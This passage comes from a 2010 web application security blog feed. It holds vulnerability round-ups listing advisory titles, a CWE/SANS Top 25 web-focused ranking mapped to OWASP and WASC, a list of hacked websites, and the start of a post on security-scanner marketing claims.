style="font-weight: normal;font-family:'trebuchet ms',arial;" &gt;&lt;a href="http://ha.ckers.org/blog/20100216/google-buzz-security-flaw/"&gt;Google Buzz Security Flaw&lt;/a&gt; - XSS flaw.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;b&gt;SANS @RISK List&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;&lt;span style="font-family:arial;"&gt;Web Application - Cross Site Scripting &lt;/span&gt;&lt;/span&gt;&lt;ul  style="font-family:arial;"&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.sans.org/newsletters/risk/display.php?v=9&amp;amp;i=8#10.8.21"&gt;10.8.21  -  Coppermine Photo Gallery "upload.php" Cross-Site Scripting &lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.sans.org/newsletters/risk/display.php?v=9&amp;amp;i=8#10.8.22"&gt;10.8.22  -  vBulletin Multiple Cross-Site Scripting Vulnerabilities &lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.sans.org/newsletters/risk/display.php?v=9&amp;amp;i=8#10.8.23"&gt;10.8.23  -  Joomla! sh404SEF Component URI Cross-Site Scripting &lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.sans.org/newsletters/risk/display.php?v=9&amp;amp;i=8#10.8.24"&gt;10.8.24  -  Cisco Collaboration Server "LoginPage.jhtml" Cross-Site Scripting &lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.sans.org/newsletters/risk/display.php?v=9&amp;amp;i=8#10.8.25"&gt;10.8.25  -  RSA SecurID WebID Cross-Site Scripting &lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h6  style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;Web Application - SQL Injection &lt;/span&gt;&lt;/h6&gt;&lt;ul  style="font-family:arial;"&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.sans.org/newsletters/risk/display.php?v=9&amp;amp;i=8#10.8.26"&gt;10.8.26  -  Newgen OmniDocs "ForceChangePassword.jsp" SQL Injection &lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.sans.org/newsletters/risk/display.php?v=9&amp;amp;i=8#10.8.27"&gt;10.8.27  -  CommodityRentals Books/eBooks Rental Software "index.php" SQL  Injection  &lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.sans.org/newsletters/risk/display.php?v=9&amp;amp;i=8#10.8.28"&gt;10.8.28  -  Joomla "com_zcalendar" Component "eid" Parameter SQL Injection &lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.sans.org/newsletters/risk/display.php?v=9&amp;amp;i=8#10.8.29"&gt;10.8.29  -  Joomla! AWD Wall Component "cbuser" Parameter SQL Injection &lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.sans.org/newsletters/risk/display.php?v=9&amp;amp;i=8#10.8.30"&gt;10.8.30  -  Joomla! "com_jbook" Component "Itemid" Parameter SQL Injection &lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.sans.org/newsletters/risk/display.php?v=9&amp;amp;i=8#10.8.31"&gt;10.8.31  -  Joomla! JQuarks Component SQL Injection &lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.sans.org/newsletters/risk/display.php?v=9&amp;amp;i=8#10.8.32"&gt;10.8.32  -  Qualiteam X-Cart "cart.php" SQL Injection &lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.sans.org/newsletters/risk/display.php?v=9&amp;amp;i=8#10.8.33"&gt;10.8.33  -  CommodityRentals Vacation Rental Software "index.php" SQL  Injection  &lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.sans.org/newsletters/risk/display.php?v=9&amp;amp;i=8#10.8.34"&gt;10.8.34  -  Joomla! "com_acmisc" Component "Itemid" Parameter SQL Injection &lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.sans.org/newsletters/risk/display.php?v=9&amp;amp;i=8#10.8.35"&gt;10.8.35  -  Alqatari "lesson.php" SQL Injection &lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h6  style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;Web Application &lt;/span&gt;&lt;/h6&gt;&lt;ul  style="font-family:arial;"&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.sans.org/newsletters/risk/display.php?v=9&amp;amp;i=8#10.8.36"&gt;10.8.36  -  Drupal Graphviz Filter Module Arbitrary Command Execution &lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.sans.org/newsletters/risk/display.php?v=9&amp;amp;i=8#10.8.37"&gt;10.8.37  -  SAP WebDynpro Runtime Unspecified HTML Injection &lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.sans.org/newsletters/risk/display.php?v=9&amp;amp;i=8#10.8.38"&gt;10.8.38  -  vBulletin 2.3 Cross-Site Scripting and SQL Injection  Vulnerabilities  &lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.sans.org/newsletters/risk/display.php?v=9&amp;amp;i=8#10.8.39"&gt;10.8.39  -  Interspire Knowledge Manager "callback.snipshot.php" Arbitrary  File Creation  &lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.sans.org/newsletters/risk/display.php?v=9&amp;amp;i=8#10.8.40"&gt;10.8.40  -  Joomla! Webee Component SQL Injection and HTML Injection  Vulnerabilities  &lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.sans.org/newsletters/risk/display.php?v=9&amp;amp;i=8#10.8.41"&gt;10.8.41  -  Joomla! Kide Shoutbox Security Bypass &lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.sans.org/newsletters/risk/display.php?v=9&amp;amp;i=8#10.8.42"&gt;10.8.42  -  Joomla! EasyBook Component Multiple HTML Injection  Vulnerabilities  &lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.sans.org/newsletters/risk/display.php?v=9&amp;amp;i=8#10.8.43"&gt;10.8.43  -  Joomla! F!BB Component SQL Injection and HTML Injection  Vulnerabilities  &lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-9114399395370057234?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/9114399395370057234/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=9114399395370057234' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/9114399395370057234'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/9114399395370057234'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/02/weekly-round-up-of-web-hacks-attacks.html' title='Weekly Round-Up of Web Hacks, Attacks and Vulns (Monday, Feb 22)'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-6795754369990315903</id><published>2010-02-16T13:40:00.001-05:00</published><updated>2010-02-16T13:52:46.422-05:00</updated><title type='text'>CWE/SANS Top 25 Most Dangerous Programming Errors 2010 - WebApp Focus Profile</title><content type='html'>&lt;div&gt;&lt;em&gt;Submitted by Ryan Barnett 2/16/2010&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;Mitre and the SANS Institute have once again teamed up to create the new &lt;a href="http://cwe.mitre.org/top25/"&gt;2010 CWE/SANS Top 25 Most Dangerous Programming Errors&lt;/a&gt; list. As opposed to the OWASP Top 10 Web App Security Risks list, the CWE/SANS list includes all software so many of the issues raised are not applicable to web apps. One of the cool features of the new list, however, is the inclusion of "focus profiles" which provides a more focused, contextual view of the issues. I was able to work on a web application-specific focus profile of the list and I will present it below.&lt;/span&gt;  Keep in mind that this is &lt;span style="font-weight: bold; font-style: italic;"&gt;not an official list yet&lt;/span&gt; however I will continue to work with Steve Christey in order to complete the development.&lt;br /&gt;&lt;span style="font-family:arial;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-size:130%;"&gt;Web Application Emphasis&lt;/span&gt;&lt;br /&gt;This profile ranks weaknesses that are important from a web application perspective. The list maps its base CWE components from the &lt;a href="http://cwe.mitre.org/top25/#Categories"&gt;&lt;strong&gt;&lt;em&gt;Insecure Interaction Between Components&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; Category-base view as these items are all directly related to web application isues. This data was then correlated with the OWASP &lt;/span&gt;&lt;a href="http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project"&gt;&lt;span style="font-family:arial;"&gt;Top Ten Project&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:arial;"&gt;, the Web Application Security Consortium (WASC) &lt;/span&gt;&lt;a href="http://projects.webappsec.org/Threat-Classification"&gt;&lt;span style="font-family:arial;"&gt;Threat Classification&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:arial;"&gt; and takes a priority ranking focus based on real-world web application compromise data as gathered by the WASC &lt;/span&gt;&lt;a href="http://projects.webappsec.org/Web-Hacking-Incident-Database"&gt;&lt;span style="font-family:arial;"&gt;Web Hacking Incident Database&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:arial;"&gt; (WHID). The inclusion of WHID data allows for this focus profile to factor not only Prevalence and Importance but also Attack Frequency data. This accounts for the adjustments to the ranking order and the discrepancies between the individual lists. &lt;/span&gt;&lt;span style="font-family:arial;"&gt;Each entry includes relevant mappings/references to the OWASP Top 10, WASC Threat Classification and WASC WHID Entries.&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;strong&gt;Combined Top 10 List (CWE/SANS, OWASP Top 10, WASC Threat Classification, WASC WHID)&lt;/strong&gt;&lt;/div&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;a href="http://cwe.mitre.org/data/definitions/89.html"&gt;CWE-89: Improper Sanitization of Special Elements used in an SQL Command ('SQL Injection')&lt;/a&gt;&lt;br /&gt;OWASP A1: Injection&lt;br /&gt;&lt;a href="http://projects.webappsec.org/SQL-Injection" target="_blank"&gt;WASC-19: SQL Injection&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.xiom.com/whid-filter?field_whid_method_value_op=or&amp;amp;field_whid_method_value[]=42&amp;amp;field_whid_outcome_value_op=not+empty&amp;amp;field_whid_outcome_value[]=246"&gt;WHID: SQL Injection&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://cwe.mitre.org/data/definitions/79.html"&gt;CWE-79: Failure to Preserve Web Page Structure ('Cross-site Scripting')&lt;/a&gt;&lt;br /&gt;OWASP A2: Cross-site Scripting (XSS)&lt;br /&gt;&lt;a href="http://projects.webappsec.org/Cross-Site+Scripting" target="_blank"&gt;WASC-8: Cross-site Scripting (XSS)&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.xiom.com/whid-filter?field_whid_method_value_op=or&amp;amp;field_whid_method_value[]=18&amp;amp;field_whid_outcome_value_op=not+empty&amp;amp;field_whid_outcome_value[]=246"&gt;WHID: XSS&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://cwe.mitre.org/data/definitions/306.html"&gt;CWE-307: Missing Authentication for Critical Function&lt;/a&gt;&lt;br /&gt;OWASP A3: Broken Authentication and Session Management&lt;br /&gt;&lt;a href="http://projects.webappsec.org/Insufficient-Authentication" target="_blank"&gt;WASC-01: Insufficient Authentication&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.xiom.com/whid-filter?field_whid_method_value_op=or&amp;amp;field_whid_method_value[]=28&amp;amp;field_whid_outcome_value_op=not+empty&amp;amp;field_whid_outcome_value[]=68"&gt;WHID: Insufficient Authentication&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://cwe.mitre.org/data/definitions/307.html"&gt;CWE-307: Improper Restriction of Excessive Authentication Attempts&lt;/a&gt;&lt;br /&gt;OWASP A7: Failure to Restrict URL Access&lt;br /&gt;&lt;a href="http://projects.webappsec.org/Brute-Force" target="_blank"&gt;WASC-11: Brute Force&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.xiom.com/whid-filter?field_whid_method_value_op=or&amp;amp;field_whid_method_value[]=13&amp;amp;field_whid_outcome_value_op=not+empty&amp;amp;field_whid_outcome_value[]=72"&gt;WHID: Brute Force&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://cwe.mitre.org/data/definitions/352.html"&gt;CWE-352: Cross-Site Request Forgery (CSRF)&lt;/a&gt;&lt;br /&gt;OWASP A5: Cross-site Request Forgery (CSRF)&lt;br /&gt;&lt;a href="http://projects.webappsec.org/Cross-Site-Request-Forgery" target="_blank"&gt;WASC-9: Cross-site Request Forgery (CSRF)&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.xiom.com/whid-filter?field_whid_method_value_op=or&amp;amp;field_whid_method_value[]=17&amp;amp;field_whid_outcome_value_op=not+empty&amp;amp;field_whid_outcome_value[]=246"&gt;WHID: CSRF&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://cwe.mitre.org/data/definitions/209.html"&gt;CWE-209: Information Exposure Through an Error Message&lt;/a&gt;&lt;br /&gt;OWASP A6: Security Misconfiguration&lt;br /&gt;&lt;a href="http://projects.webappsec.org/Information-Leakage" target="_blank"&gt;WASC-13: Information Leakage&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.xiom.com/whid-filter?field_whid_method_value_op=or&amp;amp;field_whid_method_value[]=42&amp;amp;field_whid_outcome_value_op=or&amp;amp;field_whid_outcome_value[]=72"&gt;WHID: SQL Injection -&gt; Information Leakage&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://cwe.mitre.org/data/definitions/327.html"&gt;CWE-327: Use of a Broken or Risky Cryptographic Algorithm&lt;/a&gt;&lt;br /&gt;OWASP A3: Broken Authentication or Session Management&lt;br /&gt;&lt;a href="http://projects.webappsec.org/Credential-and-Session-Prediction" target="_blank"&gt;WASC-18: Credential/Session Prediction&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.xiom.com/whid-filter?field_whid_method_value_op=or&amp;amp;field_whid_method_value[]=16&amp;amp;field_whid_outcome_value_op=not+empty&amp;amp;field_whid_outcome_value[]=68"&gt;WHID: Credential/Session Prediction&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://cwe.mitre.org/data/definitions/285.html"&gt;CWE-285: Improper Access Control (Authorization)&lt;/a&gt;&lt;br /&gt;OWASP A7 – Failure to Restrict URL Access&lt;br /&gt;&lt;a href="http://projects.webappsec.org/Insufficient-Authorization" target="_blank"&gt;WASC-02: Insufficient Authorization&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.xiom.com/whid-filter?field_whid_method_value_op=or&amp;amp;field_whid_method_value[]=29&amp;amp;field_whid_outcome_value_op=not+empty&amp;amp;field_whid_outcome_value[]=246"&gt;WHID: Insufficient Authorization&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://cwe.mitre.org/data/definitions/22.html"&gt;CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')&lt;/a&gt;&lt;br /&gt;OWASP A4: Insecure Direct Object Reference&lt;br /&gt;&lt;a href="http://projects.webappsec.org/Path-Traversal" target="_blank"&gt;WASC-33: Path Traversal&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.xiom.com/whid-filter?field_whid_method_value_op=or&amp;amp;field_whid_method_value[]=37&amp;amp;field_whid_outcome_value_op=not+empty&amp;amp;field_whid_outcome_value[]=246"&gt;WHID: Path Traversal&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://cwe.mitre.org/data/definitions/434.html"&gt;CWE-78: Improper Sanitization of Special Elements used in an OS Command ('OS Command Injection')&lt;/a&gt;&lt;br /&gt;OWASP A1: Injection&lt;br /&gt;&lt;a href="http://projects.webappsec.org/OS-Commanding" target="_blank"&gt;WASC-31: OS Commanding&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.xiom.com/whid-filter?field_whid_method_value_op=or&amp;amp;field_whid_method_value[]=35&amp;amp;field_whid_outcome_value_op=not+empty&amp;amp;field_whid_outcome_value[]=246"&gt;WHID: OS Commanding&lt;/a&gt; &lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-6795754369990315903?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/6795754369990315903/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=6795754369990315903' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/6795754369990315903'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/6795754369990315903'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/02/cwesans-top-25-most-dangerous.html' title='CWE/SANS Top 25 Most Dangerous Programming Errors 2010 - WebApp Focus Profile'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-2102250835374278818</id><published>2010-02-15T16:21:00.004-05:00</published><updated>2010-02-15T17:13:22.271-05:00</updated><title type='text'>Weekly Round-Up of Hacked Websites (Monday, Feb. 15)</title><content type='html'>Submitted by Ryan Barnett 02/15/2010&lt;br /&gt;&lt;br /&gt;- &lt;a href="http://www.digitalspy.com/ustv/s87/jersey-shore/news/a202843/jersey-shore-stars-website-hacked.html"&gt;'Jersey Shore' star's website 'hacked'&lt;/a&gt; - Most likely compromised passwords on Facebook/Yahoo accounts.&lt;br /&gt;&lt;br /&gt;- &lt;a href="http://bigpondnews.com/articles/National/2010/02/11/Federal_government_website_hacked_427570.html"&gt;Federal government website hacked&lt;/a&gt; - Seems to be some hacktivism protesting proposed Internet filtering.  Not sure of any details of the exact attack vector.&lt;br /&gt;&lt;br /&gt;- &lt;a href="http://technology.iafrica.com/news/technology/2221200.htm"&gt;Prominent Blog hacked&lt;/a&gt; - site is &lt;a href="http://www.blogosin.org/"&gt;http://www.blogosin.org/&lt;/a&gt; and based on the 500 level error and "Error establishing a database connection" message it looks like the attackers messed up the back-end DB connection.&lt;br /&gt;&lt;br /&gt;- &lt;a href="http://www.bianet.org/english/minorities/120013-armenian-agos-newspapers-website-hacked"&gt;Armenian Agos Newspaper's Website Hacked&lt;/a&gt; - defacement/hacktivism.&lt;br /&gt;&lt;br /&gt;- &lt;a href="http://news.softpedia.com/news/Orange-Regional-Website-Hacked-134467.shtml"&gt;Orange Regional Website Hacked, Sixty thousand accounts compromised&lt;/a&gt; - sql injection.&lt;br /&gt;&lt;br /&gt;- &lt;a href="http://business.rediff.com/report/2010/feb/09/tech-tcs-website-hacked.htm"&gt;TCS website hacked&lt;/a&gt; - most likely DNS poisoning/Domain Hijacking.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-2102250835374278818?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/2102250835374278818/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=2102250835374278818' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/2102250835374278818'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/2102250835374278818'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/02/weekly-round-up-of-hacked-websites.html' title='Weekly Round-Up of Hacked Websites (Monday, Feb. 15)'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-2501381631514735222</id><published>2010-02-12T09:44:00.015-05:00</published><updated>2010-02-12T13:59:56.246-05:00</updated><title type='text'>Beware of Web App Sec Puffery</title><content type='html'>&lt;div&gt;&lt;em&gt;&lt;span style="color:#000000;"&gt;Submitted by Ryan Barnett 02/12/2010&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="color:#000000;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style="font-family:arial;color:#000000;"&gt;Have you seen that new Dominos pizza commercial about "Puffery?" &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family:Arial;"&gt;&lt;/span&gt; &lt;/div&gt;&lt;img id="BLOGGER_PHOTO_ID_5437401335123932402" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 400px; CURSOR: hand; HEIGHT: 225px; TEXT-ALIGN: center" alt="" src="http://3.bp.blogspot.com/_E0YEPhKPc2k/S3WHtKlL9PI/AAAAAAAAAF0/YQJUXKn9qi4/s400/puffery.jpg" border="0" /&gt;&lt;br /&gt;&lt;div&gt;&lt;span style="font-family:arial;color:#000000;"&gt;&lt;a href="http://1.bp.blogspot.com/_E0YEPhKPc2k/S3Vr0YNsEvI/AAAAAAAAAFs/fOLesBGLv1s/s1600-h/puffery.jpg"&gt;&lt;span style="font-family:arial;color:#000000;"&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family:arial;color:#000000;"&gt;Do&lt;/span&gt;&lt;span style="font-family:arial;color:#000000;"&gt;minos was referencing an appeals court ruling on Papa John’s slogan "better ingredients, better pizza" where it concluded that statement was "&lt;/span&gt;&lt;a href="http://en.wikipedia.org/wiki/Puffery"&gt;&lt;span style="font-family:arial;color:#6600cc;"&gt;puffery&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:arial;color:#000000;"&gt;." Unfortunately, Puffery is a marketing tactic that is not relegated to the pizza industry. In the web application security market, Puffery abounds... Just read some of the marketing claims on company's websites or the collateral they pass out at vendor expos. How is a consumer supposed to cut through the puffery and get a more accurate assessment of the web application security product at hand?&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style="font-family:arial;color:#000000;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family:arial;color:#000000;"&gt;Application Security Consultant Larry Suto recently published another Dynamic Application Security Testing (DAST) tool evaluation report entitled, “&lt;/span&gt;&lt;a href="http://ha.ckers.org/files/Accuracy_and_Time_Costs_of_Web_App_Scanners.pdf"&gt;&lt;span style="font-family:arial;color:#6600cc;"&gt;Analyzing the Accuracy and &lt;/span&gt;&lt;/a&gt;&lt;a href="http://ha.ckers.org/files/Accuracy_and_Time_Costs_of_Web_App_Scanners.pdf"&gt;&lt;span style="font-family:arial;color:#6600cc;"&gt;Time Costs of Web Application Security Scanners&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:arial;color:#000000;"&gt;.” In the report, he compared the vulnerability detection rates of many commercial black-box vulnerability scanners including: Acunetix, IBM AppScan, BurpSuitePro, Cenzic Hailstorm, HP WebInspect, NTOSpider, and Qualys WAS (Software-as-a-Service).&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family:arial;color:#000000;"&gt;While no evaluation report of this nature will ever obtain 100% consensus on its merits, especially by those reviewees that didn't fair well, the methodology used in this report is pretty good. Using each vendor's public "buggy" web app as targets was interesting as you would think that each vendor would score the best on their own site (they did scan their demo site to verify accuracy, right?) and slightly less on their competitor's. While comparatively speaking, this may have been true, what was really enlightening was the high false negative rates even after the scanners were provided full URL listings and tuned by vendors. Fully understanding the &lt;/span&gt;&lt;a href="http://jeremiahgrossman.blogspot.com/2010/02/wheres-whitehat-re-scanner-comparisons.html"&gt;&lt;span style="font-family:arial;color:#000000;"&gt;&lt;span style="color:#6600cc;"&gt;state-of-the-art scanning challenges&lt;/span&gt; &lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:arial;color:#000000;"&gt;is critical for users.&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style="font-family:arial;color:#000000;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family:arial;color:#000000;"&gt;So, how does this type of DAST evaluation impact the WAF market? Ofer Shezaf has some great points in his &lt;/span&gt;&lt;a href="http://www.xiom.com/2010/02/09/wafs-are-not-perfect-any-security-tool-perfect"&gt;&lt;span style="font-family:arial;color:#6600cc;"&gt;WAFs aren't perfect, but is any security perfect?&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:arial;color:#000000;"&gt; post where he states the following:&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;em&gt;&lt;span style="font-family:arial;color:#000000;"&gt;No single security solution is sufficient. Only combining multiple defense mechanism would provide adequate security, which still does not imply 100% &lt;/span&gt;&lt;/em&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:arial;color:#000000;"&gt;This is why it is a shame that PCI pits SAST/DAST vs. WAFs in requirement 6.6. It really isn't an "either" situation and most users don't read the &lt;/span&gt;&lt;a href="https://www.pcisecuritystandards.org/pdfs/infosupp_6_6_applicationfirewalls_codereviews.pdf"&gt;&lt;span style="font-family:arial;color:#000000;"&gt;&lt;span style="color:#6600cc;"&gt;6.6 Supplemental guide&lt;/span&gt; &lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:arial;color:#000000;"&gt;which states that PCI recommends "both" options for increased security coverage.&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;em&gt;&lt;span style="font-family:arial;color:#000000;"&gt;Security products do differ in the security functionality they provide. Many times customers select security products according to every other feature but security assuming that the security aspect of the product are performed adequately by all. However Suto's paper shows that this may not be the case. 